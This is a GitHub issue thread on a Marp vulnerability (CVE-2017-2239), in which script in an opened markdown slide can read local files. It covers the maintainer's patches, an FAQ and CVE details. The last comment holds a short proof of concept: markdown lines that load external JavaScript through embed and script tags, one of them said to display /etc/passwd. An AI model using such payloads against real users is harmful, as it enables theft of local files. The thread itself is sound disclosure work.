New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[Security issue] Remote script can read user local resource #187

Open
yhatt opened this Issue Jun 22, 2017 · 9 comments

Comments

Projects
None yet
2 participants
@yhatt
Owner

yhatt commented Jun 22, 2017

UPDATED at 2018-06-14

We have recognized a way of bypass a patch for this vulnerability in v0.0.12. The latest release (v0.0.13~) is fixed this.


This issue is a special case to deal with important security issue on current version. It affects on Marp v0.0.10 v0.0.12 and earlier.

Marp can write rich slides by JavaScript (See #29), but JS might read any local data without intent of user. So the attacker can read users data unconsciously, and send to any resource on web.

We have patched this problem on v0.0.11 (5873028) / v0.0.13 and removed the built package of effected version (v0.0.10 v0.0.12 and earlier). We strongly recommend to upgrade to Marp v0.0.13.

@yhatt yhatt added the important label Jun 22, 2017

@yhatt

This comment has been minimized.

Show comment
Hide comment
@yhatt

yhatt Jun 22, 2017

Owner

FAQ

Will effect this vulnerability to my markdown?

Mostly we can say "No". This exploit would affect when you would open malicious Markdown with Marp, so there are no problem on mostly general Markdown.

But you should pay attention when opens Markdown that has untrusted inline script or embed frame (<script> <iframe>).

My markdown has inline script. Will work it on v0.0.11?

Yes. Your script would work usually even if you opens on v0.0.11.

But we added Content-Security-Policy to the slide HTML. (5873028) For security reason, v0.0.11 would not work following features:

  • Loading local file resource by XMLHttpRequest, $.ajax, and fetch API
  • Embeding local HTML resource by <iframe>

In each case, you can avoid by uploading your resource on the web.

How about sanitizing inline script tag?

Marp v0.0.11 can still execute inline script because we have been recognized the case of power-user like #29. CommonMark defines the spec about inline <script> tag, to render inline script as a valid HTML.

However, sanitizing inline script should consider on future.

Owner

yhatt commented Jun 22, 2017

FAQ

Will effect this vulnerability to my markdown?

Mostly we can say "No". This exploit would affect when you would open malicious Markdown with Marp, so there are no problem on mostly general Markdown.

But you should pay attention when opens Markdown that has untrusted inline script or embed frame (<script> <iframe>).

My markdown has inline script. Will work it on v0.0.11?

Yes. Your script would work usually even if you opens on v0.0.11.

But we added Content-Security-Policy to the slide HTML. (5873028) For security reason, v0.0.11 would not work following features:

  • Loading local file resource by XMLHttpRequest, $.ajax, and fetch API
  • Embeding local HTML resource by <iframe>

In each case, you can avoid by uploading your resource on the web.

How about sanitizing inline script tag?

Marp v0.0.11 can still execute inline script because we have been recognized the case of power-user like #29. CommonMark defines the spec about inline <script> tag, to render inline script as a valid HTML.

However, sanitizing inline script should consider on future.

@yhatt

This comment has been minimized.

Show comment
Hide comment
@yhatt

yhatt Jun 28, 2017

Owner

This issue has reported to JPCERT/CC. And just now the details have published to JVN and JVN iPedia.

Japanese (日本語)

We have updated release page to add links to JVN. (68cbdce)

JVN: #21174546
CVE: CVE-2017-2239
CVSS v3: 5.3
CVSS v2: 6.8

Owner

yhatt commented Jun 28, 2017

This issue has reported to JPCERT/CC. And just now the details have published to JVN and JVN iPedia.

Japanese (日本語)

We have updated release page to add links to JVN. (68cbdce)

JVN: #21174546
CVE: CVE-2017-2239
CVSS v3: 5.3
CVSS v2: 6.8

@luigigubello

This comment has been minimized.

Show comment
Hide comment
@luigigubello

luigigubello Jun 13, 2018

Hi @yhatt , Marp v0.0.12 is still vulnerable.

luigigubello commented Jun 13, 2018

Hi @yhatt , Marp v0.0.12 is still vulnerable.

@yhatt

This comment has been minimized.

Show comment
Hide comment
@yhatt

yhatt Jun 13, 2018

Owner

@luigigubello Thanks for your mention. We re-examined about this vulnerability, and we have recognized that it still has remaining a way to be able accessing to the content of local resource in v0.0.12.

In a few days, we are going to release Marp v0.0.13 (and remove v0.0.11 and v0.0.12 from release logs) to prevent vulnerability that we are recognized. We welcome to report details if it still had vulnerable.

Owner

yhatt commented Jun 13, 2018

@luigigubello Thanks for your mention. We re-examined about this vulnerability, and we have recognized that it still has remaining a way to be able accessing to the content of local resource in v0.0.12.

In a few days, we are going to release Marp v0.0.13 (and remove v0.0.11 and v0.0.12 from release logs) to prevent vulnerability that we are recognized. We welcome to report details if it still had vulnerable.

@luigigubello

This comment has been minimized.

Show comment
Hide comment
@luigigubello

luigigubello Jun 13, 2018

Well, thanks you for the update, I will wait Marp v0.0.13

luigigubello commented Jun 13, 2018

Well, thanks you for the update, I will wait Marp v0.0.13

@luigigubello

This comment has been minimized.

Show comment
Hide comment
@luigigubello

luigigubello Jun 17, 2018

Hi @yhatt , Marp v0.0.13 is still vulnerable. Maybe you should do a whitelist of enabled attributes and tags.

luigigubello commented Jun 17, 2018

Hi @yhatt , Marp v0.0.13 is still vulnerable. Maybe you should do a whitelist of enabled attributes and tags.

@yhatt

This comment has been minimized.

Show comment
Hide comment
@yhatt

yhatt Jun 17, 2018

Owner

Have you any reproducible markdown? We already have tried a few exploits to get local resources but every case is obstructed correctly in v0.0.13. If there is still a way to get the content of the local resource, it means we have not sanitized CVE-2017-2239 completely.

If a vulnerability you know refers simply "can execute scripts", it is expected design in the current Marp, and not vulnerable.

In either case, the current Marp have already dropped maintenance long ago. We will remove a reported vulnerabillity if we recognize that it has a potential risk like CVE-2017-2239 or Node API access beyond the browser context. Otherwise, please don't expect too much.

Owner

yhatt commented Jun 17, 2018

Have you any reproducible markdown? We already have tried a few exploits to get local resources but every case is obstructed correctly in v0.0.13. If there is still a way to get the content of the local resource, it means we have not sanitized CVE-2017-2239 completely.

If a vulnerability you know refers simply "can execute scripts", it is expected design in the current Marp, and not vulnerable.

In either case, the current Marp have already dropped maintenance long ago. We will remove a reported vulnerabillity if we recognize that it has a potential risk like CVE-2017-2239 or Node API access beyond the browser context. Otherwise, please don't expect too much.

@yhatt

This comment has been minimized.

Show comment
Hide comment
@yhatt

yhatt Jun 17, 2018

Owner

At first glance, HTML whitelist looks like a good solution, but the current Marp (pre-released version) would not employ this because of keeping compatibility. We might break effective slides powered by d3.js (See #29), Chart.js, Embed videos (YouTube, vimeo..., and <video> tag), tweets, and so on. Instead, the attribute blacklist might become a workaround for preventing well known DOM-based XSS.

On the other hand, currently we are working on @marp-team for the next generation of Marp. We are planning that Marp will become to the web-based app including online, so we have to keep secure.

The idea of whitelist is going to feedback to @marp-team/marp-core. Using HTML in the next-gen Marp will be restricted, but power user can use the customized Marp core or Marpit framework if necessary.

Discussions at the other markdown app may help for ours too.
👉 Boostnote app: BoostIO/Boostnote#1634

Owner

yhatt commented Jun 17, 2018

At first glance, HTML whitelist looks like a good solution, but the current Marp (pre-released version) would not employ this because of keeping compatibility. We might break effective slides powered by d3.js (See #29), Chart.js, Embed videos (YouTube, vimeo..., and <video> tag), tweets, and so on. Instead, the attribute blacklist might become a workaround for preventing well known DOM-based XSS.

On the other hand, currently we are working on @marp-team for the next generation of Marp. We are planning that Marp will become to the web-based app including online, so we have to keep secure.

The idea of whitelist is going to feedback to @marp-team/marp-core. Using HTML in the next-gen Marp will be restricted, but power user can use the customized Marp core or Marpit framework if necessary.

Discussions at the other markdown app may help for ours too.
👉 Boostnote app: BoostIO/Boostnote#1634

@luigigubello

This comment has been minimized.

Show comment
Hide comment
@luigigubello

luigigubello Jun 18, 2018

Sorry, I do not have time for a good proof-of-concept, but Marp v0.0.13 executes arbitrary external javascript. In my opinion this is a risk. A whitelist and a blacklist can help.

PoC

Create two .md files:

  • first.md
    <embed src="http:/14.rs">
    An alert(1) appears, the javascript is external.
  • second.md
    <script src="http://jscript.altervista.org/read.js"></script><iframe>
    An external javascript prints etc/passwd in the Preview.

I know that you do not update Marp, but it may be useful to warn of this problem.

luigigubello commented Jun 18, 2018

Sorry, I do not have time for a good proof-of-concept, but Marp v0.0.13 executes arbitrary external javascript. In my opinion this is a risk. A whitelist and a blacklist can help.

PoC

Create two .md files:

  • first.md
    <embed src="http:/14.rs">
    An alert(1) appears, the javascript is external.
  • second.md
    <script src="http://jscript.altervista.org/read.js"></script><iframe>
    An external javascript prints etc/passwd in the Preview.

I know that you do not update Marp, but it may be useful to warn of this problem.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment